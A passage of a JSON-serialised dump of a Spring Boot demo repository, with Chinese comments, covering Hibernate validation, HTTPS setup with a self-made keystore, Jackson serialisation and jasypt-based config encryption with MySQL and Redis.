e.getBindingResult().getFieldErrors();\n        Map<String, Object> errorMap = fieldErrors.stream()\n                .collect(Collectors.toMap(item -> item.getField(), item -> item.getDefaultMessage()));\n        return ResponseEntity.badRequest().body(errorMap);\n    }\n\n    @ExceptionHandler(ConstraintViolationException.class)\n    public ResponseEntity<List<String>> constrainViolationHandler(ConstraintViolationException e){\n        Set<ConstraintViolation<?>> violationSet = e.getConstraintViolations();\n        List<String> errorList = violationSet.stream()\n                .map(item -> item.getMessage()).collect(Collectors.toList());\n        return ResponseEntity.badRequest().body(errorList);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/validator/EnumValueValidator.java",
    "content": "package com.jun.plugin.hibernate.validator.validator;\n\nimport javax.validation.ConstraintValidator;\nimport javax.validation.ConstraintValidatorContext;\n\nimport com.jun.plugin.hibernate.validator.annotation.EnumValue;\n\npublic class EnumValueValidator implements ConstraintValidator<EnumValue,String> {\n\n    private String[] enumValue;\n\n    /**\n     * 初始化时把注解中的值传过来\n     * @param constraintAnnotation\n     */\n    @Override\n    public void initialize(EnumValue constraintAnnotation) {\n        this.enumValue = constraintAnnotation.value();\n    }\n\n    /**\n     *\n     * @param source 是要被校验的值\n     * @param context\n     * @return\n     */\n    @Override\n    public boolean isValid(String source, ConstraintValidatorContext context) {\n        if(source instanceof String) {\n            for (String val : enumValue) {\n                if(val.equals(source)) {\n                    return true;\n                }\n            }\n        }else {\n            throw new IllegalArgumentException(\"参数类型非法\");\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\nlogging:\n  level:\n    com.jun.plugin.hibernate: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/test/java/com/jun/plugin/hibernate/validator/HibernateValidatorApplicationTests.java",
    "content": "package com.jun.plugin.hibernate.validator;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass HibernateValidatorApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/README.md",
    "content": "# spring-boot-demo-https\n\n> 此 demo 主要演示了 Spring Boot 如何集成 https\n\n## 1. 生成证书\n\n首先使用 jdk 自带的 keytool 命令生成证书复制到项目的 `resources` 目录下（生成的证书一般在用户目录下 C:\\Users\\Administrator\\server.keystore）\n\n> 自己生成的证书浏览器会有危险提示,去ssl网站上使用金钱申请则不会\n\n![ssl 命令截图](ssl.png)\n\n## 2. 添加配置\n\n1. 在配置文件配置生成的证书\n\n```yaml\nserver:\n  ssl:\n    # 证书路径\n    key-store: classpath:server.keystore\n    key-alias: tomcat\n    enabled: true\n    key-store-type: JKS\n    #与申请时输入一致\n    key-store-password: 123456\n    # 浏览器默认端口 和 80 类似\n  port: 443\n```\n\n2. 配置 Tomcat\n\n```java\n/**\n * <p>\n * HTTPS 配置类\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2020/1/19 10:31\n */\n@Configuration\npublic class HttpsConfig {\n    /**\n     * 配置 http(80) -> 强制跳转到 https(443)\n     */\n    @Bean\n    public Connector connector() {\n        Connector connector = new Connector(\"org.apache.coyote.http11.Http11NioProtocol\");\n        connector.setScheme(\"http\");\n        connector.setPort(80);\n        connector.setSecure(false);\n        connector.setRedirectPort(443);\n        return connector;\n    }\n\n    @Bean\n    public TomcatServletWebServerFactory tomcatServletWebServerFactory(Connector connector) {\n        TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory() {\n            @Override\n            protected void postProcessContext(Context context) {\n                SecurityConstraint securityConstraint = new SecurityConstraint();\n                securityConstraint.setUserConstraint(\"CONFIDENTIAL\");\n                SecurityCollection collection = new SecurityCollection();\n                collection.addPattern(\"/*\");\n                securityConstraint.addCollection(collection);\n                context.addConstraint(securityConstraint);\n            }\n        };\n        tomcat.addAdditionalTomcatConnectors(connector);\n        return tomcat;\n    }\n}\n```\n\n## 3. 测试\n\n启动项目，浏览器访问 http://localhost 将自动跳转到 https://localhost\n\n## 4. 参考\n\n- `keytool`命令参考\n\n```bash\n$ keytool --help\n密钥和证书管理工具\n\n命令:\n\n -certreq            生成证书请求\n -changealias        更改条目的别名\n -delete             删除条目\n -exportcert         导出证书\n -genkeypair         生成密钥对\n -genseckey          生成密钥\n -gencert            根据证书请求生成证书\n -importcert         导入证书或证书链\n -importpass         导入口令\n -importkeystore     从其他密钥库导入一个或所有条目\n -keypasswd          更改条目的密钥口令\n -list               列出密钥库中的条目\n -printcert          打印证书内容\n -printcertreq       打印证书请求的内容\n -printcrl           打印 CRL 文件的内容\n -storepasswd        更改密钥库的存储口令\n\n使用 \"keytool -command_name -help\" 获取 command_name 的用法\n```\n\n- [Java Keytool工具简介](https://blog.csdn.net/liumiaocn/article/details/61921014)"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_https</artifactId>\n\t<version>1.0</version>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/src/main/java/com/jun/plugin/https/SpringBootDemoHttpsApplication.java",
    "content": "package com.jun.plugin.https;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author Wujun\n * @date Created in 2020/1/12 10:31\n */\n@SpringBootApplication\npublic class SpringBootDemoHttpsApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoHttpsApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/src/main/java/com/jun/plugin/https/config/HttpsConfig.java",
    "content": "package com.jun.plugin.https.config;\n\nimport org.apache.catalina.Context;\nimport org.apache.catalina.connector.Connector;\nimport org.apache.tomcat.util.descriptor.web.SecurityCollection;\nimport org.apache.tomcat.util.descriptor.web.SecurityConstraint;\nimport org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * <p>\n * HTTPS 配置类\n * </p>\n *\n * @author Wujun\n * @date Created in 2020/1/12 10:31\n */\n@Configuration\npublic class HttpsConfig {\n    /**\n     * 配置 http(80) -> 强制跳转到 https(443)\n     */\n    @Bean\n    public Connector connector() {\n        Connector connector = new Connector(\"org.apache.coyote.http11.Http11NioProtocol\");\n        connector.setScheme(\"http\");\n        connector.setPort(80);\n        connector.setSecure(false);\n        connector.setRedirectPort(443);\n        return connector;\n    }\n\n    @Bean\n    public TomcatServletWebServerFactory tomcatServletWebServerFactory(Connector connector) {\n        TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory() {\n            @Override\n            protected void postProcessContext(Context context) {\n                SecurityConstraint securityConstraint = new SecurityConstraint();\n                securityConstraint.setUserConstraint(\"CONFIDENTIAL\");\n                SecurityCollection collection = new SecurityCollection();\n                collection.addPattern(\"/*\");\n                securityConstraint.addCollection(collection);\n                context.addConstraint(securityConstraint);\n            }\n        };\n        tomcat.addAdditionalTomcatConnectors(connector);\n        return tomcat;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/src/main/resources/application.yml",
    "content": "server:\n  ssl:\n    # 证书路径\n    key-store: classpath:server.keystore\n    key-alias: tomcat\n    enabled: true\n    key-store-type: JKS\n    #与申请时输入一致\n    key-store-password: 123456\n    # 浏览器默认端口 和 80 类似\n  port: 443\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/src/main/resources/static/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>spring boot demo https</title>\n</head>\n<body>\n<h2>\n  spring boot demo https\n</h2>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_https/src/test/java/com/xkcoding/https/SpringBootDemoHttpsApplicationTests.java",
    "content": "package com.xkcoding.https;\n\nimport org.junit.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass SpringBootDemoHttpsApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_jackson2</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/DemoApplication.java",
    "content": "package com.example;\n\nimport java.io.IOException;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\n\n@SpringBootApplication\npublic class DemoApplication {\n\n\tpublic static void main(String[] args) throws JsonProcessingException, IOException {\n\t\tSpringApplication.run(DemoApplication.class, args);\n\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/config/JacksonConfig.java",
    "content": "package com.example.config;\n\nimport java.text.SimpleDateFormat;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\n@Configuration\npublic class JacksonConfig {\n\t@Bean\n\tpublic ObjectMapper getObjectMapper(){\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\tmapper.setDateFormat(new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\"));\n\t\treturn mapper;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/config/UserDeserializer.java",
    "content": "package com.example.config;\n\nimport java.io.IOException;\n\nimport com.example.pojo.User;\nimport com.fasterxml.jackson.core.JsonParser;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationContext;\nimport com.fasterxml.jackson.databind.JsonDeserializer;\nimport com.fasterxml.jackson.databind.JsonNode;\n\npublic class UserDeserializer extends JsonDeserializer<User> {\n\n\t@Override\n\tpublic User deserialize(JsonParser parser, DeserializationContext context)\n\t\t\tthrows IOException, JsonProcessingException {\n\t\tJsonNode node = parser.getCodec().readTree(parser);\n\t\tString userName = node.get(\"user-name\").asText();\n\t\tUser user = new User();\n\t\tuser.setUserName(userName);\n\t\treturn user;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/config/UserSerializer.java",
    "content": "package com.example.config;\n\nimport java.io.IOException;\n\nimport com.example.pojo.User;\nimport com.fasterxml.jackson.core.JsonGenerator;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.JsonSerializer;\nimport com.fasterxml.jackson.databind.SerializerProvider;\n\npublic class UserSerializer extends JsonSerializer<User> {\n\n\t@Override\n\tpublic void serialize(User user, JsonGenerator generator, SerializerProvider provider)\n\t\t\tthrows IOException, JsonProcessingException {\n\t\tgenerator.writeStartObject();\n\t\tgenerator.writeStringField(\"user-name\", user.getUserName());\n\t\tgenerator.writeEndObject();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/controller/TestJsonController.java",
    "content": "package com.example.controller;\n\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.example.pojo.User;\nimport com.fasterxml.jackson.annotation.JsonView;\nimport com.fasterxml.jackson.core.JsonParseException;\nimport com.fasterxml.jackson.databind.JavaType;\nimport com.fasterxml.jackson.databind.JsonMappingException;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\n@Controller\npublic class TestJsonController {\n\n\t@Autowired\n\tObjectMapper mapper;\n\n\t@JsonView(User.AllUserFieldView.class)\n\t@RequestMapping(\"getuser\")\n\t@ResponseBody\n\tpublic User getUser() {\n\t\tUser user = new User();\n\t\tuser.setUserName(\"mrbird\");\n\t\tuser.setAge(26);\n\t\tuser.setPassword(\"123456\");\n\t\tuser.setBirthday(new Date());\n\t\treturn user;\n\t}\n\n\t@RequestMapping(\"serialization\")\n\t@ResponseBody\n\tpublic String serialization() {\n\t\ttry {\n\t\t\tUser user = new User();\n\t\t\tuser.setUserName(\"mrbird\");\n\t\t\tuser.setBirthday(new Date());\n\t\t\tString str = mapper.writeValueAsString(user);\n\t\t\treturn str;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t@RequestMapping(\"readjsonstring\")\n\t@ResponseBody\n\tpublic String readJsonString() {\n\t\ttry {\n\t\t\tString json = \"{\\\"name\\\":\\\"mrbird\\\",\\\"age\\\":26}\";\n\t\t\tJsonNode node = this.mapper.readTree(json);\n\t\t\tString name = node.get(\"name\").asText();\n\t\t\tint age = node.get(\"age\").asInt();\n\t\t\treturn name + \" \" + age;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t@RequestMapping(\"readjsonasobject\")\n\t@ResponseBody\n\tpublic String readJsonAsObject() {\n\t\ttry {\n\t\t\tString json = \"{\\\"userName\\\":\\\"mrbird\\\"}\";\n\t\t\tUser user = mapper.readValue(json, User.class);\n\t\t\tString name = user.getUserName();\n\t\t\treturn name;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t@RequestMapping(\"formatobjecttojsonstring\")\n\t@ResponseBody\n\tpublic String formatObjectToJsonString() {\n\t\ttry {\n\t\t\tUser user = new User();\n\t\t\tuser.setUserName(\"mrbird\");\n\t\t\tuser.setAge(26);\n\t\t\tuser.setPassword(\"123456\");\n\t\t\tuser.setBirthday(new Date());\n\t\t\tString jsonStr = mapper.writeValueAsString(user);\n\t\t\treturn jsonStr;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t@RequestMapping(\"updateuser\")\n\t@ResponseBody\n\tpublic int updateUser(@RequestBody List<User> list) {\n\t\treturn list.size();\n\t}\n\n\t@RequestMapping(\"customize\")\n\t@ResponseBody\n\tpublic String customize() throws JsonParseException, JsonMappingException, IOException {\n\t\tString jsonStr = \"[{\\\"userName\\\":\\\"mrbird\\\",\\\"age\\\":26},{\\\"userName\\\":\\\"scott\\\",\\\"age\\\":27}]\";\n\t\tJavaType type = mapper.getTypeFactory().constructParametricType(List.class, User.class);\n\t\tList<User> list = mapper.readValue(jsonStr, type);\n\t\tString msg = \"\";\n\t\tfor (User user : list) {\n\t\t\tmsg += user.getUserName();\n\t\t}\n\t\treturn msg;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/java/com/example/pojo/User.java",
    "content": "package com.example.pojo;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport com.example.config.UserDeserializer;\nimport com.example.config.UserSerializer;\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.fasterxml.jackson.annotation.JsonView;\nimport com.fasterxml.jackson.databind.PropertyNamingStrategy;\nimport com.fasterxml.jackson.databind.annotation.JsonDeserialize;\nimport com.fasterxml.jackson.databind.annotation.JsonNaming;\nimport com.fasterxml.jackson.databind.annotation.JsonSerialize;\n\n//@JsonIgnoreProperties({ \"password\", \"age\" })\n//@JsonNaming(PropertyNamingStrategy.LowerCaseWithUnderscoresStrategy.class)\n//@JsonSerialize(using = UserSerializer.class)\n//@JsonDeserialize (using = UserDeserializer.class)\npublic class User implements Serializable {\n\n\tprivate static final long serialVersionUID = 6222176558369919436L;\n\n\tpublic interface UserNameView {\n\t};\n\n\tpublic interface AllUserFieldView extends UserNameView {\n\t};\n\n\t@JsonView(UserNameView.class)\n\tprivate String userName;\n\t\n\t@JsonView(AllUserFieldView.class)\n\tprivate int age;\n\n\t// @JsonIgnore\n\t@JsonView(AllUserFieldView.class)\n\tprivate String password;\n\n\t// @JsonProperty(\"bth\")\n\t// @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\")\n\t@JsonView(AllUserFieldView.class)\n\tprivate Date birthday;\n\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n\tpublic Date getBirthday() {\n\t\treturn birthday;\n\t}\n\n\tpublic void setBirthday(Date birthday) {\n\t\tthis.birthday = birthday;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/main/resources/application.properties",
    "content": ""
  },
  {
    "path": "jun_springboot_plugin/springboot_jackson2/src/test/java/com/example/demo/DemoApplicationTests.java",
    "content": "package com.example.demo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DemoApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/README.md",
    "content": "springboot 整合 jasypt，从而实现mysql  redis 账号的加密，保证项目的安全\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.7.0</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>com.yangzheng</groupId>\n    <artifactId>springboot_jasypt</artifactId>\n    <version>1.0</version> \n\t\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>2.2.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <!-- druid -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.44</version>\n        </dependency>\n\n\n        <!-- https://mvnrepository.com/artifact/com.github.ulisesbocchio/jasypt-spring-boot-starter -->\n        <dependency>\n            <groupId>com.github.ulisesbocchio</groupId>\n            <artifactId>jasypt-spring-boot-starter</artifactId>\n            <version>2.1.1</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <excludes>\n                        <exclude>\n                            <groupId>org.projectlombok</groupId>\n                            <artifactId>lombok</artifactId>\n                        </exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/sql/test.sql",
    "content": "/*\r\nSQLyog Ultimate v12.09 (64 bit)\r\nMySQL - 5.7.31-log : Database - test\r\n*********************************************************************\r\n*/\r\r\n\r\n/*!40101 SET NAMES utf8 */;\r\n\r\n/*!40101 SET SQL_MODE=''*/;\r\n\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\nCREATE DATABASE /*!32312 IF NOT EXISTS*/`test` /*!40100 DEFAULT CHARACTER SET utf8mb4 */;\r\n\r\nUSE `test`;\r\n\r\n/*Table structure for table `test_encrypt` */\r\n\r\nDROP TABLE IF EXISTS `test_encrypt`;\r\n\r\nCREATE TABLE `test_encrypt` (\r\n  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(255) DEFAULT NULL,\r\n  `name_encrypt` varchar(255) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4;\r\n\r\n/*Data for the table `test_encrypt` */\r\n\r\ninsert  into `test_encrypt`(`id`,`name`,`name_encrypt`) values (1,'test',NULL),(2,'test1',NULL),(3,'test1',NULL),(4,'test1','Tqdxz02pk09zEDUpxbbSOA==');\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/SpringbootJasyptApplication.java",
    "content": "package com.yangzheng;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class SpringbootJasyptApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringbootJasyptApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/controller/JdbcTestController.java",
    "content": "package com.yangzheng.controller;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.yangzheng.entity.TestEncrypt;\nimport com.yangzheng.mapper.TestEncryptMapper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author yangzheng\n * @description\n * @date 2022/5/30 03016:07\n */\n@RestController\n@RequestMapping\n@Slf4j\npublic class JdbcTestController {\n\n    @Autowired\n    private TestEncryptMapper testEncryptMapper;\n\n    @RequestMapping(\"/jdbcTestSelect\")\n    public String jdbcTestSelect(@RequestBody JSONObject json) {\n        TestEncrypt testEncrypt = testEncryptMapper.getTestEncryptById((Integer) json.get(\"id\"));\n        log.info(\"testEncrypt={}\", JSON.toJSONString(testEncrypt, false));\n        return \"成功\";\n    }\n\n    @RequestMapping(\"/jdbcTestInsert\")\n    public String jdbcTestInsert() {\n        TestEncrypt t = new TestEncrypt();\n        t.setName(\"test1\");\n        testEncryptMapper.insert(t);\n        log.info(\"testEncrypt={}\", JSON.toJSONString(t, false));\n        return \"成功\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/controller/RedisTestController.java",
    "content": "package com.yangzheng.controller;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.yangzheng.entity.TestEncrypt;\nimport com.yangzheng.mapper.TestEncryptMapper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Set;\n\n/**\n * @author yangzheng\n * @description\n * @date 2022/5/30 03016:07\n */\n@RestController\n@RequestMapping\n@Slf4j\npublic class RedisTestController {\n\n    @Autowired\n    private RedisTemplate redisTemplate;\n\n    @RequestMapping(\"/redisTest\")\n    public String jdbcTestSelect() {\n        redisTemplate.opsForValue().set(\"num\",\"123\");\n        String num = (String) redisTemplate.opsForValue().get(\"num\");\n        log.info(\"num={}\",num);\n        return \"成功\";\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/entity/TestEncrypt.java",
    "content": "package com.yangzheng.entity;\n\nimport lombok.Data;\n\n/**\n * @author yangzheng\n * @description\n * @date 2022/5/30 03016:12\n */\n@Data\npublic class TestEncrypt {\n    private int id;\n    private String name;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/mapper/TestEncryptMapper.java",
    "content": "package com.yangzheng.mapper;\n\nimport com.yangzheng.entity.TestEncrypt;\nimport org.apache.ibatis.annotations.Mapper;\n\n/**\n * @author yangzheng\n * @description\n * @date 2022/5/30 03016:13\n */\n@Mapper\npublic interface TestEncryptMapper {\n\n    TestEncrypt getTestEncryptById(int id);\n\n    void insert(TestEncrypt testEncrypt);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/java/com/yangzheng/utils/EncryptConfigUtil.java",
